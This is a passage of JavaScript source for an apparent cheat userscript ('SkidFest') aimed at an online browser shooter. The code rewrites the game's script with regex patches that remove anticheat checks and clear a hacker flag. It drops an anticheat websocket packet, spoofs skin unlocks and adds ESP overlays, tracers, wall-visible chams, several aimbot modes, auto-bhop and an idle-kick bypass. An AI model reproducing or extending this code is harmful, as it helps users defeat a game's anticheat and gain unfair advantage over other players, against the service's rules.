Players Weapon Sounds", val: false, html: () => this.generateSetting("checkbox", "disableWpnSnd", this), }, disableHckSnd: { name: "Disable Hacker Fart Sounds", val: false, html: () => this.generateSetting("checkbox", "disableHckSnd", this), }, autoActivateNuke: { name: "Auto Activate Nuke", val: false, html: () => this.generateSetting("checkbox", "autoActivateNuke", this), }, autoFindNew: { name: "New Lobby Finder", val: false, html: () => this.generateSetting("checkbox", "autoFindNew", this), }, autoClick: { name: "Auto Start Game", val: false, html: () => this.generateSetting("checkbox", "autoClick", this), }, inActivity: { name: "No InActivity Kick", val: true, html: () => this.generateSetting("checkbox", "autoClick", this), }, //Radio Stream Player playStream: { pre: "<br><div class='setHed'>Radio Stream Player</div>", name: "Stream Select", val: "off", html: () => this.generateSetting("select", "playStream", this.lists.audioStreams), set: (value) => { if (value == "off") { if ( this.settings.playStream.audio ) { this.settings.playStream.audio.pause(); this.settings.playStream.audio.currentTime = 0; this.settings.playStream.audio = null; } return; } let url = this.settings.playStream.urls[value]; if (!this.settings.playStream.audio) { this.settings.playStream.audio = new Audio(url); this.settings.playStream.audio.volume = this.settings.audioVolume.val||0.5 } else { this.settings.playStream.audio.src = url; } this.settings.playStream.audio.load(); this.settings.playStream.audio.play(); }, urls: { _2000s: 'http://0n-2000s.radionetz.de/0n-2000s.aac', _HipHopRNB: 'https://stream-mixtape-geo.ntslive.net/mixtape2', _Country: 'https://live.wostreaming.net/direct/wboc-waaifmmp3-ibc2', _Dance: 'http://streaming.radionomy.com/A-RADIO-TOP-40', _Pop: 'http://bigrradio.cdnstream1.com/5106_128', _Jazz: 'http://strm112.1.fm/ajazz_mobile_mp3', _Oldies: 'http://strm112.1.fm/60s_70s_mobile_mp3', _Club: 'http://strm112.1.fm/club_mobile_mp3', _Folk: 'https://freshgrass.streamguys1.com/irish-128mp3', _ClassicRock: 'http://1a-classicrock.radionetz.de/1a-classicrock.mp3', _Metal: 'http://streams.radiobob.de/metalcore/mp3-192', _DeathMetal: 'http://stream.laut.fm/beatdownx', _Classical: 'http://live-radio01.mediahubaustralia.com/FM2W/aac/', _Alternative: 'http://bigrradio.cdnstream1.com/5187_128', _Dubstep: 'http://streaming.radionomy.com/R1Dubstep?lang=en', _Lowfi: 'http://streams.fluxfm.de/Chillhop/mp3-256', _Oldskool: 'http://streams.90s90s.de/hiphop/mp3-128/', }, audio: null, }, audioVolume: { name: "Radio Volume", val: 0.5, min: 0, max: 1, step: 0.01, html: () => this.generateSetting("slider", "audioVolume"), set: (value) => { if (this.settings.playStream.audio) this.settings.playStream.audio.volume = value;} }, }; // Inject Html let waitForWindows = setInterval(_ => { if (window.windows) { const menu = window.windows[11]; menu.header = "Settings"; menu.gen = _ => { var tmpHTML = `<div style='text-align:center'> <a onclick='window.open("https://skidlamer.github.io/")' class='menuLink'>SkidFest Settings</center></a> <hr> </div>`; for (const key in this.settings) { if (this.settings[key].pre) tmpHTML += this.settings[key].pre; tmpHTML += "<div class='settName' id='" + key + "_div' style='display:" + (this.settings[key].hide ? 'none' : 'block') + "'>" + this.settings[key].name + " " + this.settings[key].html() + "</div>"; } tmpHTML += `<br><hr><a onclick='${skidStr}.resetSettings()' class='menuLink'>Reset Settings</a> | <a onclick='${skidStr}.saveScript()' class='menuLink'>Save GameScript</a>` return tmpHTML; }; clearInterval(waitForWindows); //this.createButton("5k1D", "https://i.imgur.com/1tWAEJx.gif", this.toggleMenu) } }, 100); // setupSettings for (const key in this.settings) { this.settings[key].def = this.settings[key].val; if (!this.settings[key].disabled) { let tmpVal = this.getSavedVal(key); this.settings[key].val = tmpVal !== null ? tmpVal : this.settings[key].val; if (this.settings[key].val == "false") this.settings[key].val = false; if (this.settings[key].val == "true") this.settings[key].val = true; if (this.settings[key].val == "undefined") this.settings[key].val = this.settings[key].def; if (this.settings[key].set) this.settings[key].set(this.settings[key].val, true); } } } generateSetting(type, name, extra) { switch (type) { case 'checkbox': return `<label class="switch"><input type="checkbox" onclick="${skidStr}.setSetting('${name}', this.checked)" ${this.settings[name].val ? 'checked' : ''}><span class="slider"></span></label>`; case 'slider': return `<span class='sliderVal' id='slid_utilities_${name}'>${this.settings[name].val}</span><div class='slidecontainer'><input type='range' min='${this.settings[name].min}' max='${this.settings[name].max}' step='${this.settings[name].step}' value='${this.settings[name].val}' class='sliderM' oninput="${skidStr}.setSetting('${name}', this.value)"></div>` case 'select': { let temp = `<select onchange="${skidStr}.setSetting(\x27${name}\x27, this.value)" class="inputGrey2">`; for (let option in extra) { temp += '<option value="' + option + '" ' + (option == this.settings[name].val ? 'selected' : '') + '>' + extra[option] + '</option>'; } temp += '</select>'; return temp; } default: return `<input type="${type}" name="${type}" id="slid_utilities_${name}"\n${'color' == type ? 'style="float:right;margin-top:5px"' : `class="inputGrey2" placeholder="${extra}"`}\nvalue="${this.settings[name].val}" oninput="${skidStr}.setSetting(\x27${name}\x27, this.value)"/>`; } } resetSettings() { if (confirm("Are you sure you want to reset all your settings? This will also refresh the page")) { Object.keys(localStorage).filter(x => x.includes("kro_utilities_")).forEach(x => localStorage.removeItem(x)); location.reload(); } } setSetting(t, e) { this.settings[t].val = e; this.saveVal(t, e); if (document.getElementById(`slid_utilities_${t}`)) document.getElementById(`slid_utilities_${t}`).innerHTML = e; if (this.settings[t].set) this.settings[t].set(e); } createObserver(elm, check, callback, onshow = true) { return new MutationObserver((mutationsList, observer) => { if (check == 'src' || onshow && mutationsList[0].target.style.display == 'block' || !onshow) { callback(mutationsList[0].target); } }).observe(elm, check == 'childList' ? {childList: true} : {attributes: true, attributeFilter: [check]}); } createListener(elm, type, callback = null) { if (!this.isDefined(elm)) { alert("Failed creating " + type + "listener"); return } elm.addEventListener(type, event => callback(event)); } createElement(element, attribute, inner) { if (!this.isDefined(element)) { return null; } if (!this.isDefined(inner)) { inner = ""; } let el = document.createElement(element); if (this.isType(attribute, 'object')) { for (let key in attribute) { el.setAttribute(key, attribute[key]); } } if (!Array.isArray(inner)) { inner = [inner]; } for (let i = 0; i < inner.length; i++) { if (inner[i].tagName) { el.appendChild(inner[i]); } else { el.appendChild(document.createTextNode(inner[i])); } } return el; } createButton(name, iconURL, fn, visible) { visible = visible ? "inherit":"none"; let menu = document.querySelector("#menuItemContainer"); let icon = this.createElement("div",{"class":"menuItemIcon", "style":`background-image:url("${iconURL}");display:inherit;`}); let title= this.createElement("div",{"class":"menuItemTitle", "style":`display:inherit;`}, name); let host = this.createElement("div",{"id":"mainButton", "class":"menuItem", "onmouseenter":"playTick()", "onclick":"showWindow(12)", "style":`display:${visible};`},[icon, title]); if (menu) menu.append(host) } objectHas(obj, arr) { return arr.some(prop => obj.hasOwnProperty(prop)); } getVersion() { const elems = document.getElementsByClassName('terms'); const version = elems[elems.length - 1].innerText; return version; } saveAs(name, data) { let blob = new Blob([data], {type: 'text/plain'}); let el = window.document.createElement("a"); el.href = window.URL.createObjectURL(blob); el.download = name; window.document.body.appendChild(el); el.click(); window.document.body.removeChild(el); } saveScript() { this.fetchScript().then(script => { this.saveAs("game_" + this.getVersion() + ".js", script) }) } isKeyDown(key) { return this.downKeys.has(key); } simulateKey(keyCode) { var oEvent = document.createEvent('KeyboardEvent'); // Chromium Hack Object.defineProperty(oEvent, 'keyCode', { get : function() { return this.keyCodeVal; } }); Object.defineProperty(oEvent, 'which', { get : function() { return this.keyCodeVal; } }); if (oEvent.initKeyboardEvent) { oEvent.initKeyboardEvent("keypress", true, true, document.defaultView, keyCode, keyCode, "", "", false, ""); } else { oEvent.initKeyEvent("keypress", true, true, document.defaultView, false, false, false, false, keyCode, 0); } oEvent.keyCodeVal = keyCode; if (oEvent.keyCode !== keyCode) { alert("keyCode mismatch " + oEvent.keyCode + "(" + oEvent.which + ")"); } document.body.dispatchEvent(oEvent); } toggleMenu() { let lock = document.pointerLockElement || document.mozPointerLockElement; if (lock) document.exitPointerLock(); window.showWindow(12); if (this.isDefined(window.SOUND)) window.SOUND.play(`tick_0`,0.1) } onLoad() { this.createSettings(); this.createObservers(); this.waitFor(_=>this.isDefined(this.exports)).then(_=> { if (!this.isDefined(this.exports)) { alert("This Mod Needs To Be Updated Please Try Agian Later"); return; } //console.dir(this.exports); let toFind = { overlay: ["render", "canvas"], config: ["accAnnounce", "availableRegions", "assetCat"], three: ["ACESFilmicToneMapping", "TextureLoader", "ObjectLoader"], ws: ["socketReady", "ingressPacketCount", "ingressPacketCount", "egressDataSize"], utility: ["VectorAdd", "VectorAngleSign"], //colors: ["challLvl", "getChallCol"], //ui: ["showEndScreen", "toggleControlUI", "toggleEndScreen", "updatePlayInstructions"], //events: ["actions", "events"], } for (let rootKey in this.exports) { let exp = this.exports[rootKey].exports; for (let name in toFind) { if (this.objectHas(exp, toFind[name])) { console.log("Found Export ", name); delete toFind[name]; this[name] = exp; } } } if (!(Object.keys(toFind).length === 0 && toFind.constructor === Object)) { for (let name in toFind) { alert("Failed To Find Export " + name); } } else { Object.defineProperty(this.config, "nameVisRate", { value: 0, writable: false, configurable: true, }) this.ctx = this.overlay.canvas.getContext('2d'); this.overlay.render = new Proxy(this.overlay.render, { apply: function(target, that, args) { return [target.apply(that, args), render.apply(that, args)] } }) function render(scale, game, controls, renderer, me) { let width = skid.overlay.canvas.width / scale; let height = skid.overlay.canvas.height / scale; const renderArgs = [scale, game, controls, renderer, me]; if (renderArgs && void 0 !== skid) { ["scale", "game", "controls", "renderer", "me"].forEach((item, index)=>{ skid[item] = renderArgs[index]; }); if (me) { skid.ctx.save(); skid.ctx.scale(scale, scale); //this.ctx.clearRect(0, 0, width, height); skid.onRender(); //window.requestAnimationFrame.call(window, renderArgs.callee.caller.bind(this)); skid.ctx.restore(); } if(skid.settings && skid.settings.autoClick.val && window.endUI.style.display == "none" && window.windowHolder.style.display == "none") { controls.toggle(true); } } } // Skins const $skins = Symbol("skins"); Object.defineProperty(Object.prototype, "skins", { set: function(fn) { this[$skins] = fn; if (void 0 == this.localSkins || !this.localSkins.length) { this.localSkins = Array.apply(null, Array(5e3)).map((x, i) => { return { ind: i, cnt: 0x1, } }) } return fn; }, get: function() { return skid.settings.skinUnlock.val && this.stats ? this.localSkins : this[$skins]; } }) this.waitFor(_=>this.ws.connected === true, 40000).then(_=> { this.ws.__event = this.ws._dispatchEvent.bind(this.ws); this.ws.__send = this.ws.send.bind(this.ws); this.ws.send = new Proxy(this.ws.send, { apply: function(target, that, args) { if (args[0] == "ah2") return; try { var original_fn = Function.prototype.apply.apply(target, [that, args]); } catch (e) { e.stack = e.stack = e.stack.replace(/\n.*Object\.apply.*/, ''); throw e; } if (args[0] === "en") { skid.skinCache = { main: args[1][2][0], secondary: args[1][2][1], hat: args[1][3], body: args[1][4], knife: args[1][9], dye: args[1][14], waist: args[1][17], } } return original_fn; } }) this.ws._dispatchEvent = new Proxy(this.ws._dispatchEvent, { apply: function(target, that, [type, event]) { if (type =="init") { if(event[10] && event[10].length && event[10].bill && skid.settings.customBillboard.val.length > 1) { event[10].bill.txt = skid.settings.customBillboard.val; } } if (skid.settings.skinUnlock.val && skid.skinCache && type === "0") { let skins = skid.skinCache; let pInfo = event[0]; let pSize = 38; while (pInfo.length % pSize !== 0) pSize++; for(let i = 0; i < pInfo.length; i += pSize) { if (pInfo[i] === skid.ws.socketId||0) { pInfo[i + 12] = [skins.main, skins.secondary]; pInfo[i + 13] = skins.hat; pInfo[i + 14] = skins.body; pInfo[i + 19] = skins.knife; pInfo[i + 24] = skins.dye; pInfo[i + 33] = skins.waist; } } } return target.apply(that, arguments[2]); } }) }) if (this.isDefined(window.SOUND)) { window.SOUND.play = new Proxy(window.SOUND.play, { apply: function(target, that, [src, vol, loop, rate]) { if ( src.startsWith("fart_") && skid.settings.disableHckSnd.val ) return; return target.apply(that, [src, vol, loop, rate]); } }) } AudioParam.prototype.setValueAtTime = new Proxy(AudioParam.prototype.setValueAtTime, { apply: function(target, that, [value, startTime]) { return target.apply(that, [value, 0]); } }) this.rayC = new this.three.Raycaster(); this.vec2 = new this.three.Vector2(0, 0); } }) } gameJS(script) { let entries = { // Deobfu inView: { regex: /(\w+\['(\w+)']\){if\(\(\w+=\w+\['\w+']\['position']\['clone']\(\))/, index: 2 }, spectating: { regex: /\['team']:window\['(\w+)']/, index: 1 }, //inView: { regex: /\]\)continue;if\(!\w+\['(.+?)\']\)continue;/, index: 1 }, //canSee: { regex: /\w+\['(\w+)']\(\w+,\w+\['x'],\w+\['y'],\w+\['z']\)\)&&/, index: 1 }, //procInputs: { regex: /this\['(\w+)']=function\((\w+),(\w+),\w+,\w+\){(this)\['recon']/, index: 1 }, aimVal: { regex: /this\['(\w+)']-=0x1\/\(this\['weapon']\['\w+']\/\w+\)/, index: 1 }, pchObjc: { regex: /0x0,this\['(\w+)']=new \w+\['Object3D']\(\),this/, index: 1 }, didShoot: { regex: /--,\w+\['(\w+)']=!0x0/, index: 1 }, nAuto: { regex: /'Single\\x20Fire','varN':'(\w+)'/, index: 1 }, crouchVal: { regex: /this\['(\w+)']\+=\w\['\w+']\*\w+,0x1<=this\['\w+']/, index: 1 }, recoilAnimY: { regex: /\+\(-Math\['PI']\/0x4\*\w+\+\w+\['(\w+)']\*\w+\['\w+']\)\+/, index: 1 }, //recoilAnimY: { regex: /this\['recoilAnim']=0x0,this\[(.*?\(''\))]/, index: 1 }, ammos: { regex: /\['length'];for\(\w+=0x0;\w+<\w+\['(\w+)']\['length']/, index: 1 }, weaponIndex: { regex: /\['weaponConfig']\[\w+]\['secondary']&&\(\w+\['(\w+)']==\w+/, index: 1 }, isYou: { regex: /0x0,this\['(\w+)']=\w+,this\['\w+']=!0x0,this\['inputs']/, index: 1 }, objInstances: { regex: /\w+\['\w+']\(0x0,0x0,0x0\);if\(\w+\['(\w+)']=\w+\['\w+']/, index: 1 }, getWorldPosition: { regex: /{\w+=\w+\['camera']\['(\w+)']\(\);/, index: 1 }, //mouseDownL: { regex: /this\['\w+'\]=function\(\){this\['(\w+)'\]=\w*0,this\['(\w+)'\]=\w*0,this\['\w+'\]={}/, index: 1 }, mouseDownR: { regex: /this\['(\w+)']=0x0,this\['keys']=/, index: 1 }, //reloadTimer: { regex: /this\['(\w+)']&&\(\w+\['\w+']\(this\),\w+\['\w+']\(this\)/, index: 1 }, maxHealth: { regex: /this\['health']\/this\['(\w+)']\?/, index: 1 }, xDire: { regex: /this\['(\w+)']=Math\['lerpAngle']\(this\['xDir2']/, index: 1 }, yDire: { regex: /this\['(\w+)']=Math\['lerpAngle']\(this\['yDir2']/, index: 1 }, //xVel: { regex: /this\['x']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedX']/, index: 1 }, yVel: { regex: /this\['y']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedY']/, index: 1 }, //zVel: { regex: /this\['z']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedZ']/, index: 1 }, // Patches exports: {regex: /(this\['\w+']\['\w+']\(this\);};},function\(\w+,\w+,(\w+)\){)/, patch: `$1 ${skidStr}.exports=$2.c; ${skidStr}.modules=$2.m;`}, inputs: {regex: /(\w+\['\w+']\[\w+\['\w+']\['\w+']\?'\w+':'push']\()(\w+)\),/, patch: `$1${skidStr}.onInput($2)),`}, inView: {regex: /&&(\w+\['\w+'])\){(if\(\(\w+=\w+\['\w+']\['\w+']\['\w+'])/, patch: `){if(!$1&&void 0 !== ${skidStr}.nameTags)continue;$2`}, thirdPerson:{regex: /(\w+)\[\'config\'\]\[\'thirdPerson\'\]/g, patch: `void 0 !== ${skidStr}.thirdPerson`}, isHacker:{regex: /(window\['\w+']=)!0x0\)/, patch: `$1!0x1)`}, fixHowler:{regex: /(Howler\['orientation'](.+?)\)\),)/, patch: ``}, respawnT:{regex: /'\w+':0x3e8\*/g, patch: `'respawnT':0x0*`}, anticheat1:{regex: /&&\w+\(\),window\['utilities']&&\(\w+\(null,null,null,!0x0\),\w+\(\)\)/, patch: ""}, anticheat2:{regex: /(\[]instanceof Array;).*?(var)/, patch: "$1 $2"}, anticheat3:{regex: /windows\['length'\]>\d+.*?0x25/, patch: `0x25`}, commandline:{regex: /Object\['defineProperty']\(console.*?\),/, patch: ""}, writeable:{regex: /'writeable':!0x1/g, patch: "writeable:true"}, configurable:{regex: /'configurable':!0x1/g, patch: "configurable:true"}, typeError:{regex: /throw new TypeError/g, patch: "console.error"}, error:{regex: /throw new Error/g, patch: "console.error"}, }; for(let name in entries) { let object = entries[name]; let found = object.regex.exec(script); if (object.hasOwnProperty('index')) { if (!found) { object.val = null; alert("Failed to Find " + name); } else { object.val = found[object.index]; console.log ("Found ", name, ":", object.val); } Object.defineProperty(skid.vars, name, { configurable: false, value: object.val }); } else if (found) { script = script.replace(object.regex, object.patch); console.log ("Patched ", name); } else alert("Failed to Patch " + name); } return script; } createObservers() { this.createObserver(window.instructionsUpdate, 'style', (target) => { if (this.settings.autoFindNew.val) { console.log(target) if (['Kicked', 'Banned', 'Disconnected', 'Error', 'Game is full'].some(text => target && target.innerHTML.includes(text))) { location = document.location.origin; } } }); this.createListener(document, "keyup", event => { if (this.downKeys.has(event.code)) this.downKeys.delete(event.code) }) this.createListener(document, "keydown", event => { if (event.code == "F1") { event.preventDefault(); this.toggleMenu(); } if ('INPUT' == document.activeElement.tagName || !window.endUI && window.endUI.style.display) return; switch (event.code) { case 'NumpadSubtract': document.exitPointerLock(); //console.log(document.exitPointerLock) console.dirxml(this) break; default: if (!this.downKeys.has(event.code)) this.downKeys.add(event.code); break; } }) this.createListener(document, "mouseup", event => { switch (event.button) { case 1: event.preventDefault(); this.toggleMenu(); break; default: break; } }) } onRender() { /* hrt / ttap - https://github.com/hrt */ this.renderFrame ++; if (this.renderFrame >= 100000) this.renderFrame = 0; let scaledWidth = this.ctx.canvas.width / this.scale; let scaledHeight = this.ctx.canvas.height / this.scale; let playerScale = (2 * this.consts.armScale + this.consts.chestWidth + this.consts.armInset) / 2 let worldPosition = this.renderer.camera[this.vars.getWorldPosition](); let espVal = this.settings.renderESP.val; if (espVal ==="walls"||espVal ==="twoD") this.nameTags = undefined; else this.nameTags = true; if (this.settings.autoActivateNuke.val && this.me && Object.keys(this.me.streaks).length) { /*chonker*/ this.ws.__send("k", 0); } if (espVal !== "off") { this.overlay.healthColE = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656"; } for (let iter = 0, length = this.game.players.list.length; iter < length; iter++) { let player = this.game.players.list[iter]; if (player[this.vars.isYou] || !player.active || !this.isDefined(player[this.vars.objInstances]) || this.getIsFriendly(player)) { continue; } // the below variables correspond to the 2d box esps corners let xmin = Infinity; let xmax = -Infinity; let ymin = Infinity; let ymax = -Infinity; let position = null; let br = false; for (let j = -1; !br && j < 2; j+=2) { for (let k = -1; !br && k < 2; k+=2) { for (let l = 0; !br && l < 2; l++) { if (position = player[this.vars.objInstances].position.clone()) { position.x += j * playerScale; position.z += k * playerScale; position.y += l * (player.height - player[this.vars.crouchVal] * this.consts.crouchDst); if (!this.containsPoint(position)) { br = true; break; } position.project(this.renderer.camera); xmin = Math.min(xmin, position.x); xmax = Math.max(xmax, position.x); ymin = Math.min(ymin, position.y); ymax = Math.max(ymax, position.y); } } } } if (br) { continue; } xmin = (xmin + 1) / 2; ymin = (ymin + 1) / 2; xmax = (xmax + 1) / 2; ymax = (ymax + 1) / 2; // save and restore these variables later so they got nothing on us const original_strokeStyle = this.ctx.strokeStyle; const original_lineWidth = this.ctx.lineWidth; const original_font = this.ctx.font; const original_fillStyle = this.ctx.fillStyle; //Tracers if (this.settings.renderTracers.val) { CRC2d.save.apply(this.ctx, []); let screenPos = this.world2Screen(player[this.vars.objInstances].position); this.ctx.lineWidth = 4.5; this.ctx.beginPath(); this.ctx.moveTo(this.ctx.canvas.width/2, this.ctx.canvas.height - (this.ctx.canvas.height - scaledHeight)); this.ctx.lineTo(screenPos.x, screenPos.y); this.ctx.strokeStyle = "rgba(0, 0, 0, 0.25)"; this.ctx.stroke(); this.ctx.lineWidth = 2.5; this.ctx.strokeStyle = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656" this.ctx.stroke(); CRC2d.restore.apply(this.ctx, []); } CRC2d.save.apply(this.ctx, []); if (espVal == "twoD" || espVal == "full") { // perfect box esp this.ctx.lineWidth = 5; this.ctx.strokeStyle = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656" let distanceScale = Math.max(.3, 1 - this.getD3D(worldPosition.x, worldPosition.y, worldPosition.z, player.x, player.y, player.z) / 600); CRC2d.scale.apply(this.ctx, [distanceScale, distanceScale]); let xScale = scaledWidth / distanceScale; let yScale = scaledHeight / distanceScale; CRC2d.beginPath.apply(this.ctx, []); ymin = yScale * (1 - ymin); ymax = yScale * (1 - ymax); xmin = xScale * xmin; xmax = xScale * xmax; CRC2d.moveTo.apply(this.ctx, [xmin, ymin]); CRC2d.lineTo.apply(this.ctx, [xmin, ymax]); CRC2d.lineTo.apply(this.ctx, [xmax, ymax]); CRC2d.lineTo.apply(this.ctx, [xmax, ymin]); CRC2d.lineTo.apply(this.ctx, [xmin, ymin]); CRC2d.stroke.apply(this.ctx, []); if (espVal == "full") { // health bar this.ctx.fillStyle = "#000000"; let barMaxHeight = ymax - ymin; CRC2d.fillRect.apply(this.ctx, [xmin - 7, ymin, -10, barMaxHeight]); this.ctx.fillStyle = player.health > 75 ? "green" : player.health > 40 ? "orange" : "red"; CRC2d.fillRect.apply(this.ctx, [xmin - 7, ymin, -10, barMaxHeight * (player.health / player[this.vars.maxHealth])]); // info this.ctx.font = "48px Sans-serif"; this.ctx.fillStyle = "white"; this.ctx.strokeStyle='black'; this.ctx.lineWidth = 1; let x = xmax + 7; let y = ymax; CRC2d.fillText.apply(this.ctx, [player.name||player.alias, x, y]); CRC2d.strokeText.apply(this.ctx, [player.name||player.alias, x, y]); this.ctx.font = "30px Sans-serif"; y += 35; CRC2d.fillText.apply(this.ctx, [player.weapon.name, x, y]); CRC2d.strokeText.apply(this.ctx, [player.weapon.name, x, y]); y += 35; CRC2d.fillText.apply(this.ctx, [player.health + ' HP', x, y]); CRC2d.strokeText.apply(this.ctx, [player.health + ' HP', x, y]); } } CRC2d.restore.apply(this.ctx, []); this.ctx.strokeStyle = original_strokeStyle; this.ctx.lineWidth = original_lineWidth; this.ctx.font = original_font; this.ctx.fillStyle = original_fillStyle; // skelly chams if (this.isDefined(player[this.vars.objInstances])) { let obj = player[this.vars.objInstances]; if (!obj.visible) { Object.defineProperty(player[this.vars.objInstances], 'visible', { value: true, writable: false }); } obj.traverse((child) => { let chamColor = this.settings.renderChams.val; let chamsEnabled = chamColor !== "off"; if (child && child.type == "Mesh" && child.material) { child.material.depthTest = chamsEnabled ? false : true; //if (this.isDefined(child.material.fog)) child.material.fog = chamsEnabled ? false : true; if (child.material.emissive) { child.material.emissive.r = chamColor == 'off' || chamColor == 'teal' || chamColor == 'green' || chamColor == 'blue' ? 0 : 0.55; child.material.emissive.g = chamColor == 'off' || chamColor == 'purple' || chamColor == 'blue' || chamColor == 'red' ? 0 : 0.55; child.material.emissive.b = chamColor == 'off' || chamColor == 'yellow' || chamColor == 'green' || chamColor == 'red' ? 0 : 0.55; } child.material.wireframe = this.settings.renderWireFrame.val ? true : false } }) } } } spinTick(input) { //this.game.players.getSpin(this.self); //this.game.players.saveSpin(this.self, angle); const angle = this.getAngleDst(input[2], this.me[this.vars.xDire]); this.spins = this.getStatic(this.spins, new Array()); this.spinTimer = this.getStatic(this.spinTimer, this.config.spinTimer); this.serverTickRate = this.getStatic(this.serverTickRate, this.config.serverTickRate); (this.spins.unshift(angle), this.spins.length > this.spinTimer / this.serverTickRate && (this.spins.length = Math.round(this.spinTimer / this.serverTickRate))) for (var e = 0, i = 0; i < this.spins.length; ++i) e += this.spins[i]; return Math.abs(e * (180 / Math.PI)); } raidBot(input) { let target = this.game.AI.ais.filter(enemy => { return undefined !== enemy.mesh && enemy.mesh && enemy.mesh.children[0] && enemy.canBSeen && enemy.health > 0 }).sort((p1, p2) => this.getD3D(this.me.x, this.me.z, p1.x, p1.z) - this.getD3D(this.me.x, this.me.z, p2.x, p2.z)).shift(); if (target) { let canSee = this.containsPoint(target.mesh.position) let yDire = (this.getDir(this.me.z, this.me.x, target.z, target.x) || 0) let xDire = ((this.getXDire(this.me.x, this.me.y, this.me.z, target.x, target.y + target.mesh.children[0].scale.y * 0.85, target.z) || 0) - this.consts.recoilMlt * this.me[this.vars.recoilAnimY]) if (this.me.weapon[this.vars.nAuto] && this.me[this.vars.didShoot]) { input[this.key.shoot] = 0; input[this.key.scope] = 0; this.me.inspecting = false; this.me.inspectX = 0; } else { if (!this.me.aimDir && canSee) { input[this.key.scope] = 1; if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } } } } else { this.resetLookAt(); } return input; } onInput(input) { if (this.isDefined(this.config) && this.config.aimAnimMlt) this.config.aimAnimMlt = 1; if (this.isDefined(this.controls) && this.isDefined(this.config) && this.settings.inActivity.val) { this.controls.idleTimer = 0; this.config.kickTimer = Infinity } if (this.me) { this.inputFrame ++; if (this.inputFrame >= 100000) this.inputFrame = 0; if (!this.game.playerSound[this.isProxy]) { this.game.playerSound = new Proxy(this.game.playerSound, { apply: function(target, that, args) { if (skid.settings.disableWpnSnd.val && args[0] && typeof args[0] == "string" && args[0].startsWith("weapon_")) return; return target.apply(that, args); }, get: function(target, key) { return key === skid.isProxy ? true : Reflect.get(target, key); }, }) } let isMelee = this.isDefined(this.me.weapon.melee)&&this.me.weapon.melee||this.isDefined(this.me.weapon.canThrow)&&this.me.weapon.canThrow; let ammoLeft = this.me[this.vars.ammos][this.me[this.vars.weaponIndex]]; // autoReload if (this.settings.autoReload.val) { //let capacity = this.me.weapon.ammo; //if (ammoLeft < capacity) if (isMelee) { if (!this.me.canThrow) { //this.me.refillKnife(); } } else if (!ammoLeft) { this.game.players.reload(this.me); input[this.key.reload] = 1; // this.me[this.vars.reloadTimer] = 1; //this.me.resetAmmo(); } } //Auto Bhop let autoBhop = this.settings.autoBhop.val; if (autoBhop !== "off") { if (this.isKeyDown("Space") || autoBhop == "autoJump" || autoBhop == "autoSlide") { this.controls.keys[this.controls.binds.jumpKey.val] ^= 1; if (this.controls.keys[this.controls.binds.jumpKey.val]) { this.controls.didPressed[this.controls.binds.jumpKey.val] = 1; } if (this.isKeyDown("Space") || autoBhop == "autoSlide") { if (this.me[this.vars.yVel] < -0.03 && this.me.canSlide) { setTimeout(() => { this.controls.keys[this.controls.binds.crouchKey.val] = 0; }, this.me.slideTimer||325); this.controls.keys[this.controls.binds.crouchKey.val] = 1; this.controls.didPressed[this.controls.binds.crouchKey.val] = 1; } } } } //Autoaim if (this.settings.autoAim.val !== "off") { this.playerMaps.length = 0; this.rayC.setFromCamera(this.vec2, this.renderer.fpsCamera); let target = this.game.players.list.filter(enemy => { let hostile = undefined !== enemy[this.vars.objInstances] && enemy[this.vars.objInstances] && !enemy[this.vars.isYou] && !this.getIsFriendly(enemy) && enemy.health > 0 && this.getInView(enemy); if (hostile) this.playerMaps.push( enemy[this.vars.objInstances] ); return hostile }).sort((p1, p2) => this.getD3D(this.me.x, this.me.z, p1.x, p1.z) - this.getD3D(this.me.x, this.me.z, p2.x, p2.z)).shift(); if (target) { //let count = this.spinTick(input); //if (count < 360) { // input[2] = this.me[this.vars.xDire] + Math.PI; //} else console.log("spins ", count); //target.jumpBobY * this.config.jumpVel let canSee = this.containsPoint(target[this.vars.objInstances].position); let inCast = this.rayC.intersectObjects(this.playerMaps, true).length; let yDire = (this.getDir(this.me.z, this.me.x, target.z, target.x) || 0); let xDire = ((this.getXDire(this.me.x, this.me.y, this.me.z, target.x, target.y - target[this.vars.crouchVal] * this.consts.crouchDst + this.me[this.vars.crouchVal] * this.consts.crouchDst, target.z) || 0) - this.consts.recoilMlt * this.me[this.vars.recoilAnimY]) if (this.me.weapon[this.vars.nAuto] && this.me[this.vars.didShoot]) { input[this.key.shoot] = 0; input[this.key.scope] = 0; this.me.inspecting = false; this.me.inspectX = 0; } else if (!canSee && this.settings.frustrumCheck.val) this.resetLookAt(); else if (ammoLeft||isMelee) { input[this.key.scope] = this.settings.autoAim.val === "assist"||this.settings.autoAim.val === "correction"||this.settings.autoAim.val === "trigger" ? this.controls[this.vars.mouseDownR] : 0; switch (this.settings.autoAim.val) { case "quickScope": input[this.key.scope] = 1; if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { if (!this.me.canThrow||!isMelee) input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } break; case "assist": case "easyassist": if (input[this.key.scope] || this.settings.autoAim.val === "easyassist") { if (!this.me.aimDir && canSee || this.settings.autoAim.val === "easyassist") { input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } } break; case "silent": if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { if (!this.me.canThrow||!isMelee) input[this.key.shoot] = 1; } else input[this.key.scope] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 break; case "trigger": if (input[this.key.scope] && canSee && inCast) { input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 } break; case "correction": if (input[this.key.shoot] == 1) { input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 } break; default: this.resetLookAt(); break; } } } else { this.resetLookAt(); //input = this.raidBot(input); } } } //else if (this.settings.autoClick.val && !this.ui.hasEndScreen) { //this.config.deathDelay = 0; //this.controls.toggle(true); //} //this.game.config.deltaMlt = 1 return input; } 